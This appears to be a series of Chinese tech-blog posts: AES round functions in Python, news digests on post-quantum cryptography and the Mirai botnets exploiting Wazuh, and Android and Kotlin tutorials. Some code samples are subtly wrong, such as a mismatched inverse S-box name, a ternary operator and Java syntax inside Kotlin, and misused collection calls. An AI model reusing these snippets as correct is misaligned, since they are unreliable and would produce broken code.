0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16, ) def sub_bytes(s): for i in range(4): for j in range(4): s[i][j] = sbox[s[i][j]]

逆运算

• 由于 S 盒是一个双射，可以构造出一个逆向的 S 盒来实现反向替换

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22

  s_box_inv = ( 0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB, 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB, 0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E, 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25, 0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92, 0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84, 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06, 0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B, 0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73, 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E, 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4, 0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F, 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF, 0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D, ) def sub_bytes_inv(s): for i in range(4): for j in range(4): s[i][j] = sbox_inv[s[i][j]]

行移位

• 将状态矩阵第 行向左循环移动 位
• 该运算与后续的列混合扩散了每个输入字节对于输出的影响范围，这防止了密码分析手段通过少量的密文字节来还原某个明文字节

  1 2 3

  def shift_rows(s): for i in range(0, 4): s[i][0], s[i][1], s[i][2], s[i][3] = s[i][i%4], s[i][(1+i)%4], s[i][(2+i)%4], s[i][(3+i)%4]

逆运算

• 移动方向改为向右来抵消该运算

  1 2 3

  def shift_rows_inv(s): for i in range(0, 4): s[i][0], s[i][1], s[i][2], s[i][3] = s[i][(-i)%4], s[i][(1-i)%4], s[i][(2-i)%4], s[i][(3-i)%4]

列混合

• 将一个固定的矩阵乘上状态矩阵（矩阵乘法），在最终轮跳过此步
• 该运算使得输出的每个元素为原矩阵对应列元素的线性组合，扩散了每个输入字节对于输出的影响范围

  1 2 3 4 5 6 7 8 9 10 11 12 13

  xtime = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1) def mix_single_column(a): t = a[0] ^ a[1] ^ a[2] ^ a[3] u = a[0] a[0] ^= t ^ xtime(a[0] ^ a[1]) a[1] ^= t ^ xtime(a[1] ^ a[2]) a[2] ^= t ^ xtime(a[2] ^ a[3]) a[3] ^= t ^ xtime(a[3] ^ u) def mix_columns(s): for i in range(4): mix_single_column(s[i])

逆运算

1
2
3
4
5
6
7
8
9

def mix_columns_inv(s):
    # see Sec 4.1.3 in The Design of Rijndael
    for i in range(4):
        u = xtime(xtime(s[i][0] ^ s[i][2]))
        v = xtime(xtime(s[i][1] ^ s[i][3]))
        s[i][0] ^= u
        s[i][1] ^= v
        s[i][2] ^= u
        s[i][3] ^= v

密钥相加

• 使用本轮密钥对状态矩阵进行一次 XOR 运算
• 实现类似初次密钥相加

总结

AES 的加密流程可被拆分为为多轮次的 XOR 运算，中间夹杂着各种重新排列以及线性映射，这些简单的运算组合起来形成了强力的壁垒

这里记录每周值得分享的新闻。

封面图

美听证会呼吁紧急应对量子威胁

6月24日，美国网络安全、信息技术与政府创新小组委员会举办了听证会，讨论了量子计算机对于加密技术的威胁。会议指出如果行业继续按预期速度发展，量子计算机将具备破解非对称加密的能力，进而威胁到个人、政府以及关键基础设施所依赖的加密方法。会议呼吁国会立法确保后量子密码学的快速应用并拨款支持这一转型过程。

国内首张后量子密码卡发布

7月3日，安徽问天量子科技股份有限公司联合华中科技大学研发的芯片级后量子密码卡正式发布。后量子密码技术是一种能够在现有计算机上抵抗未来量子计算机攻击能力的数学密码系统。研发团队表示该芯片可在党政、金融、通信、能源等关键基础设施领域实现广泛应用。

SEALSQ 推进后量子密码学

近日，市值4.76亿美元的半导体和安全技术公司 SEALSQ Crop 宣布在后量子密码学领域取得新进展，旨在保护比特币和区块链网络免受量子计算威胁。行业分析表明，量子计算正接近能够破解支撑主要加密货币的椭圆曲线密码学的能力。SEALSQ 的技术专注于开发具有量子抗性密码学的半导体，应用于能源系统、医疗系统以及IT基础设施等领域。

英国NCSC发布《迁移到后量子密码学的时间表》指南

今年3月，英国国家网络安全中心（NCSC）发布了《迁移到后量子密码学的时间表》指南，旨在为向后量子密码学的安全迁移提供路线图以及关键时间节点 – 从2028年的初步探索，到2031年的实质性推进，再到2035年的全面落地。这份指南指出，不同行业在密码学成熟度上的差异，使得迁移方法各有侧重，对于大型组织而言，迁移是对组织整体网络安全韧性的一次全方位重塑。

参考资料

• 听证会
• 量子密码卡
• SEALSQ
• 迁移到后量子密码学的时间表

这里记录每周值得分享的新闻。

封面图

Mirai 僵尸网络利用 Wazuh 安全平台漏洞

6月，著名 CDN 服务提供商 Akamai 的安全团队发现两个独立的 Mirai 僵尸网络正在利用 Wazuh 安全平台中的严重漏洞（CVE-2025-24016）进行攻击。该 CVE 及相应的 PoC 已于 2月10日 公开纰漏，CVSS 评分为 9.9，影响 Wazuh 4.4.0 至 4.9.1 版本。Wazuh 公司对此矢口否认。

但是 Akamai 建议尽快升级到 4.9.1 以上的版本。这一事件再次凸显了及时打补丁的重要性以及公开 PoC（漏洞利用代码）的潜在风险。

Mirai 之乱

Mirai 僵尸网络技术近些年造就了一系列高强度的 DDoS 攻击。该病毒于 2016 年由一伙想要瘫痪著名游戏《我的世界》服务器的恶趣味年轻人开发。开发者们好心地向全网公开了源码，这为之后的混乱拉开了序幕。

犯罪组织和其他威胁行为者在开源的病毒源码上进行二次开发为自己定制犯罪工具，Mirai 的变种们在接下来的 10 年不断制造恶性事件。此次的攻击活动就涉及到了其中的两个变种 – LZRD Mirai 以及 Resbot。值得注意的是，此次攻击是以安全平台为目标，并不像往常瞄准防护薄弱的 IoT 设备。此外，研究者注意到 Resbot 使用到的域名使用了意大利语。

BADBOX 2.0 僵尸网络入侵家庭物联网设备

犯罪分子正在通过 BADBOX 2.0 僵尸网络入侵家庭网络中的物联网设备，受感染设备主要是非官方基于 AOSP 二开的安卓系统。

该僵尸网络 1.0 版本吸取 2024 年活动失败的教训后迭代而出的版本。目前已成为有史以来最大的智能电视设备感染网络，其特点是在设备出厂前就被植入了后门恶意软件。

特朗普政府发布新网络安全行政令

6月6日，特朗普政府发布了一项新的网络安全行政令。

该行政令取消了拜登时期的数字身份证计划，该计划旨在打造一个政府认证的数字身份证系统，特朗普政府认为该系统会被非法移民滥用。与此同时，行政令禁止政府通过网络制裁打击国内的政治对手并推出”网络信任标记”计划，由政府在物联网设备流入市场前对其进行安全认证。

谷歌发布 Google AI Edge Gallery

谷歌新发布的安卓应用 Google AI Edge Gallery。

这款试验性的应用旨在让用户在手机完全离线的情况下在本地运行 AI 模型。应用支持从 Hugging Face 上面的开源模型。作为 Alpha 版本，该应用已经超过 1.1 万星标🌟。

上海中山医院尝试脊接口手术

上海中山医院的外科医生与复旦大学科学家团队近日成功实施了一项微创”脑脊接口”（BSI）手术，使瘫痪患者在术后24小时内恢复了站立和行走能力。

这项手术在上海中山医院完成，是世界上首次通过 BSI 技术让完全性截瘫患者恢复行走能力的案例。

参考资料

• Wazuh 推锅声明
• BADBOX 活动
• Trump 行政令
• Google AI Edge Gallery

安卓并不保证每个应用都能体面地走完自己的生命周期，当资源紧张或者它心情不好时没有实例可以幸免于难。当然，拥有特权的系统级和一些善于自我保护的聪明应用除外…

构建 Foreground Service

通常情况下，一个Service实例启动后会默默地在后台运行，但如果它调用了这个接口

1

startForeground(id, notification)

安卓会让它跑到前台，成为一个 Foreground Service，不会轻易地干掉它以及它所属的应用；当然，这也带来一个副作用 – Foreground Service 存活期间需要在通知栏里留下一个持续存在的通知来去让用户知晓其存在。当完成使命后可以调用如下接口在自我了断

1
2

stopForeground(true)
stopSelf()

或者什么也不干等着被用户和其他组件干掉

实现

新增一个普通的Service，并在onCreate钩子下设置好通知信息然后调用startForeground()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

private fun createNotification(): Notification {
    companion object {
        private const val CHANNEL_ID = "app_channel"
    }
    // Android 8.0 之后需要先构建 NotificationChannel 才能推送通知
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O ) {
        val serviceChannel = NotificationChannel(
            CHANNEL_ID,
            "App Channel",
            NotificationManager.IMPORTANCE_DEFAULT
        )
        val manager = getSystemService(NotificationManager::class.java)
        manager.createNotificationChannel(serviceChannel)
    }
    val intent = Intent(this, MainActivity::class.java)
    val pendingIntent = PendingIntent.getActivity(this,
        0,
        intent,
        PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE)
    return NotificationCompat.Builder(this, CHANNEL_ID)
        .setContentTitle("Foreground Service")
        .setContentText("Foreground service starts")
        .setContentIntent(pendingIntent)
        .build()
}

override fun onCreate() {
    ...
    val notification = createNotification()
    startForeground(1,  notification)
}

override fun onStartCommand(...) {
    ...
    return START_STICKY // 如果这个服务因为资源原因被干掉了系统会在之后重启它
}

在Manifest文件里声明一下需要的权限以及Service本身

1
2
3
4
5
6
7
8

<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<application ...>
    <service
        android:name=".ForegroundService"
        android:enabled="true"
        android:exported="false"
        android:foregroundServiceType="mediaPlayback"/>
</application>

启动

1
2
3
4
5
6
7
8
9

class MainActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        enableEdgeToEdge()

        startForegroundService(Intent(this, ForegroundService::class.java))
        finish()
    }
}

startForegroundService()假定开始的服务是前台服务，被启动的服务在5秒内没有调用startForeground()则会被停止并且报错。

终止

1
2

Intent serviceIntent = new Intent(this, ForegroundService::class.java)
stopService(serviceIntent)

获取 Wake Lock

由电池供电的安卓设备在长时间未被用户使用后会自动进入挂起状态以延长电池寿命，该状态下CPU停止执行指令。为了不被停止，应用可以尝试获取 Wake Lock 阻止设备进入挂起状态。同一时间可以有多个应用持有 Wake Lock，且有应用持有 Wake Lock 时设备不会被挂起。

Wake Lock 类型

自安卓4.2之后只支持 PARTIAL_WAKE_LOCK 一种类型，此类 Wake Lock 只能保证CPU不会被暂停，但不能保证屏幕不会被熄灭。需要保持屏幕不灭需要附上

1

window.addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON)

声明权限

WAKE_LOCK是一项普通权限，只用在Manifest文件里声明

1

<uses-permission android:name="android.permission.WAKE_LOCK" />

获取

1
2
3
4
5
6

val wakeLock: PowerManager.WakeLock =
        (getSystemService(Context.POWER_SERVICE) as PowerManager).run {
            newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, "MyApp::MyWakelockTag").apply {
                acquire(MAX_HOLD_TIME_IN_MS)
            }
        }

释放

1

wakelock.release()

对抗 Doze Mode

WAKE_LOCK是一项普通权限，这意味着应用在启动后不需要弹窗向用户获取该权限，用户很容易忽视它。再加上acquire()可以无期限的持有 Wake Lock，应用很容易滥用这个权限，对设备能耗造成负担。

安卓6.0之后出台了 Doze Mode（低能耗模式，注意与低电量模式是两个概念）来取进一步的保护电池，延长续航时间。使用电池电量的设备长时间没有被用户使用会进入 Doze Mode，该模式下网络和后台活动会进入 休眠-维护 的循环，休眠期间的活动会被延迟到维护期间完成，随着时间的推进休眠期会越来越长。

当被用户使用或者接电源时设备会退出 Doze Mode 。持有 Wake Lock 的应用仍会受其约束。

无视 Doze Mode

安卓6.0后应用可以获取REQUEST_IGNORE_BATTERY_OPTIMIZATIONS权限来脱离的 Doze Mode 影响

1

<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>

这是一项危险权限，除了在Manifest里声明外，还需要在程序里主动向用户请求

1
2
3
4
5

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
    val intent = Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS)
    intent.data = Uri.parse("package:$packageName")
    startActivity(intent)
}

结语

上述方案虽然实现简单，但由于创建 Foreground Service 带来的强制通知以及申请无视 Doze Mode 带来的弹窗请求，程序并不能很好的隐藏自己，不够优雅。

同为Linux系操作系统，安卓与其他的兄弟姐妹们大相径庭。安卓是为嵌入式设备设计的，这些设备的各种资源比如内存、算力、电量都很紧张，这使得安卓除了系统内核外有着独特的软件架构

安卓系统层级结构

安卓可以被抽象成一个简略的层级结构

• 内核层：针对嵌入式设备修改过的Linux内核，有特权的代码
• 系统服务层：一大堆服务于系统的软件，比如驱动、内核模块、守护进程，以及一些编程常用的标准库
• ARE层（Android Runtime Environment）：提供安卓应用的运行环境，包括安卓开发用到的库
• 应用层：用户能直接使用的应用

安卓应用解剖

和桌面应用的不同，安卓应用并不是一个简单的进程，也没有类似Javapublic static void main以及C++int main的程序入口。其结构更像是一个Web应用，由一堆散装的组件蓝图构成，然后由一个系统服务 – Zygote – 根据需要进行生成、管理以及销毁。

四大组件类型

Activity

每个Activity组件负责一个单独的可交互的UI页面，这些页面由一个个小部件构成。安卓只保证Activity在对应页面可见时存在。
Activity的生命周期长这样

stateDiagram-v2    [*] --> Created: onCreate    Created --> Started: onStart    Created --> Destroyed: onDestroy    Started --> Running: onResume    Running --> Started: onPause    Started --> Created: onStop

• onCreate：这个时间点页面刚刚被生成，适合初始化页面相关变量以及视图
• onDestroy：页面实例被销毁，安卓不保证App退出的时候这个方法一定被调用，因为有时应用是直接被kill -9干掉的
• onStart：页面已被绘制出来但无法接受用户输入，比如中间跳出弹窗或者其他app页面的时候
• onResume：页面被聚焦且开始和用户交互了

Service

Service可以被看作成一个没有UI的Activity，但没有除了onCreated以及onDestroyed之外的方法
Service有两个子类 – Bounded Service 和 Started Service

Started Service

多用于完成一次性的任务，比如放个东西进数据库或者发个信息到网上

Bounded Service

类似Linux的pipe，安卓专属的IPC机制，提供一个半双工信道（支持双向传输但两个方向不能同时）– Binder – 来支持两个端点的通信，可跨应用

Broadcast Receiver

类似JS的事件侦听器，可以捕获重要的系统事件，比如可以在系统启动后广播的android.intent.action.BOOT_COMPLETED注册一个Receiver来实现开机自启

Content Provider

本质上是数据源（内容）上方的一层REST API，可以被用来共享一个打开的文件到另一个组件，有增删改查四个接口insert(), delete(), update(), query()外加一个内容数据类型查询getType()

Manifest文件

所有组件必须在一个叫AndroidManifest.xml的文件里声明，比如

1
2
3
4
5
6
7
8
9
10

<manifest ...>
  <application
    android:label="@string/app">
    ...>
    <activity
      android:name=".MyActivity"
      android:label="@string/my">
    </activity>
  </application>
</manifest>”

Context

Context是容纳Component或者是App的容器，可以在传参的时候用来指定组件和应用

Component Context

Activity和Service都继承于Context类，可以通过this直接获取目前组件实例对应的Context。此外，还可以通过startActivity()以及startService()等方法来唤醒其他的Activity或是Service

Application Context

在应用启动后会产生一个ApplicationContext单例，其生命周期与应用的生命周期相绑定，且在任意其他Context下都可以调用Context.getApplicationContext()被获取到。但与组件Context不同的是，其startActivity方法一般无法被用来唤醒Activity，强行调用会出现报错。
可以新建一个类去继承Application Context

1
2
3

class MyApp : Application() {
    ...
}

修改一下Manifest文件让系统知道这个class代表Application

1
2
3
4
5
6
7

<manifest ...>
  <application
    android:name=".MyApp"
    ...>
    ...
  </application>
</manifest>

Intent

Intent可以被看作是组件之间交换信息的数据包，包含了发送方期望请求方完成的操作以及一些参数。比如在一个组件Context里唤醒另一个组件时就需要构建一个Intent

1
2
3

this.startActivity(
    Intent(this, TargetActivity::class.java)
)

Intent可分为显式和隐式。显式Intent明确指定了需要互动的组件，比如在上面的例子里系统收到该请求后会找到并唤醒当前Context（this）从属的App中的TargetActivity组件。隐式Intent则不会对AppContext以及组件进行限定，而是通过其他组件在Manifest文件里声明的IntentFilter来发送给匹配的组件

1

this.startActivity( Intent(Intent.ACTION_EDIT) ) // 这里没有传入Context

1
2
3
4
5
6
7
8

<activity
      android:name=".MyActivity"
      android:label="@string/my">
      <intent-filter>
        <action
          android:name="android.intent.action.EDIT" />
      </intent-filter>
</activity>

MyActivity只响应操作为EDIT的Intent
隐式Intent的应用场景很常见，比如点开一个txt文件时安卓会弹窗询问要用哪个编辑器打开，这些出现的编辑器都声明了相关的IntentFilter

单独的语法就如同无米之炊，Kotlin内建了不少数据结构供开发者使用

与Java的互操作性

由于Java已经有了成熟的集合框架，Kotlin直接将其拿过来做了一层包裹，增加了一些新功能，形成了自己的集合框架: kotlin.collections

类型层次结构

Kotlin集合框架中的数据类型可分为两种，一是不可更改其储存值的不可变类，二是可更改其值的可变类。两组类型镜像对称构成了整体的层次结构

classDiagram    class Map    Iterable <|-- Collection    Collection <|-- List    Collection <|-- Set    class MutableMap    Iterable <|-- MutableIterable    MutableIterable <|-- MutableCollection    MutableCollection <|-- MutableList    MutableCollection <|-- MutableSet

不可变类虽然缺少更改操作，但防止了值不小心改变以及保证了线程安全；可变类拥有更多的操作，但需要额外的开销（获取和释放锁）来去保证线程安全；总之，两者各有利弊

初始化

这些集合类型通过Kotlin集合框架里的xxxOf静态方法进行初始化

1
2

val x = listOf(1, 2, 3)
val y = mutableMapOf(1 to 'A', 2 to 'B')

集合运算

加减元素以及合并可以通过基本的运算符来实现

1
2
3
4
5
6
7
8

( listOf(1,2) + 3 ).equals( listOf(1,2,3) ) // true
( listOf(1,2,2) - 2 ).equals( listOf(1,2) ) // true

( mapOf(1 to 'A') + (2 to 'B') ).equals( mapOf(1 to 'A', 2 to 'B') ) // true
( mapOf(1 to 'A') - 1 ).equals( mapOf() ) // true

( listOf(1,2) + listOf(3,4) ).equals( listOf(1,2,3,4) ) // true
( mapOf(1 to 'A') + mapOf(2 to 'B') ).equals( mapOf(1 to 'A', 2 to 'B') ) // true

值得注意的是这些运算会产生新的对象，不改变已有的对象

泛函编程

不同于围绕对象式编程，泛函编程将计算机中的运算视为数学上的函数运算，避免去改变对象的值。泛函指的是以函数为输入的一类特殊数学函数，Kotlin支持一系列泛函变幻方法来方便将函数作用到集合类型上，相比于for语句和forEach方法，这些变幻方法有着更高的可读性且保证线程安全

布尔变幻

1
2
3

listOf(1,3).any { it % 3 == 0 } // 是否任何元素是3的倍数，it指代函数唯一的参数
listOf(1,3).all { it % 3 == 0 } // 是否全是3的倍数
listOf(1,3).none { it % 3 == 0 } // 是否没有3的倍数

映射变幻

1
2
3
4

listOf(1,3).map{ it * 2 }.equals( listOf(2,6) ) // true
listOf(1,3,null).mapNotNull{ it * 2 }.equals( listOf(2,6) ) // true
listOf(1,3).mapIndexed { (index, elem) -> index * elem } // true
listOf( listOf(1,2), listOf(2,3) ).flatMap{ it }.equals( listOf(1,2,2,3) ) // true

筛子变幻

1
2
3

listOf(1,2,3).filter { it % 3 == 0 } // 只保留3的倍数
listOf(1,2,3).filterNot { it % 3 == 0 } // 过滤掉3的倍数
listOf(1,2,null).filterNotNull() // 只保留非空元素

累加变幻

1
2

listOf(1,2,3).reduce { acc, item -> acc * item } // 6
listOf().reduceOrNull { acc, item -> acc * item } // null

分组变幻

1
2
3
4
5
6
7
8

listOf(1,2,3,4).groupBy{ 
    it % 2 == 0 ? "even" : "odd"
}.equals(
    mapOf(
        "even" to listOf(2,4),
        "odd" to listOf(1,3)
    )
) // true

序列

上述这些方法都会强制去将输入的函数作用在每个元素上，但有些情形，比如下载第一个符合条件的URL，只需要用到一部分元素。序列便用于解决这类问题，其只在需要的时候才去将函数作用在元素上

1
2
3
4
5
6
7
8
9
10
11